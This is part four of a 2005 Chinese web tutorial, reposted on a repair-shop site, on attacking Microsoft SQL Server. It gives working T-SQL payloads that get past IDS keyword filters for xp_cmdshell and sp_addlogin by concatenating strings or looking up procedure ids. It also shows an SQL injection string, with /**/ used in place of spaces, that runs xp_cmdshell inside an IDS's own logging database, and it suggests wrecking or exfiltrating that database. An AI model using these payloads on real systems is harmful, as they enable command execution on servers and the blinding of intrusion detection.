维修中心 ¦
硬件资料 ¦
软件教程 ¦
网络安全 ¦
下载中心 ¦
图片频道 ¦
音乐频道 ¦
视频教程 ¦
房产频道 ¦
新闻中心 ¦
维修论坛
加入收藏 加入收藏 联系我们
 ┆  首页  ┆
关于本站 ¦
业务范围 ¦
客服中心 ¦
维修报价 ¦
联系我们 ¦
维修站点 ¦
  文字广告: ppp
当前位置 > 软件教程 > 操作系统 > 服务器设置 SQL Server数据库的一些攻击(4)


SQL Server数据库的一些攻击(4)

时间:2005-6-16 9:11:08 作者: 来源:www.safechina.com点击数:

ppp

  
    利用t-sql骗过ids或攻击ids
现在的ids已经变得越来越聪明了
有的ids加入了xp_cmdshell sp_addlogin 的监视 。
但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉
先说说欺骗ids:
ids既然监视xp_cmdshell关键字,那么我们可以这么做
declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c:\'
这个代码相信大家都能看明白,还有xp_cmdshell作为一个store procedure在master库内有一个id号,固定的,我们也可以这么做
假设这个id=988456
declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'
当然也可以
declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a 'dir c:\'
这种做法排列组合,ids根本不可能做的到完全监视
同理,sp_addlogin也可以这么做
再说说攻击ids:
因为ids数据量很大,日至通常备份到常规数据库,比如sql server
如果用古老的recordset.addnew做法,会严重影响ids的性能,因为通过ado做t-sql请求,不但效率高,而且有一部分工作可以交给sql server 去做
通常程序会这么写ues ('日至内容',…)
那么我么想想看,如果用
temp') exec xp_cmdshell 'dir c:\' --
提交后会变成
insert table values ('日至内容'….'temp') exec xp_cmdshell 'dir c:\' -- ')
这样,xp_cmdshell就可以在ids的数据库运行了 :)
当然ids是一个嗅叹器,他会抓所有的报,而浏览器提交的时候会把空格变成%20
因此,%20会被提交到sql server,这样你的命令就无法执行了
唯一的办法就是
insert/**/table/**/values('日至内容'….'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')
用/**/代替空格做间隔符,这样你的t-sql才能在ids的数据库内执行
当然也可以用其他语句,可以破坏,备份ids的数据库到你的共享目录

[1] [2] 下一页

 
全部 本站
 
推荐文章
·给NT和2000服务器打补
·给NT和2000服务器打补
·Windows Server 2003
·一步一步教你打造自己
·Windows NT网络服务器
·Windows 2000 Server
·Servlet中jdbc应用高
·巧用DOS命令远程管理F
·Servlet中jdbc应用高
·WindowsServer2003全
·SQL Server 2000的安
·SQL Server数据库的一
·SQL Server数据库的一
·用微软基准安全分析器
·用微软基准安全分析器
·细说Win2000 Server安
·细说Win2000 Server安
·Windows下使用PHP经验
·DHCP服务子网掩码的分
·服务器处理器技术展望
 
 

pp

pp

评分等级:0 编辑:admin
[打印本文] [进入论坛聊聊] |发表评论| [关闭窗口][我要投稿] [回到首页] [关闭窗口]
上一篇文章:给NT和2000服务器打补丁:越早越好(3)
下一篇文章:安全性与IIS(1)

 


【经典文章回顾】
picturepp

 
ppp

Copyright ©2005 - 2006 WWW.BJFIX.COM All Rights Reserved.
版权所有 2005 - 2006 北京钧天电脑网络技术服务中心
地 址: 北京海淀苏州街倒座庙7号楼612(首都工商大厦北侧,人大西门往北100米)
电 话: 010-62646476 010-89184370 010-81259179
Email: xie#bjifx.com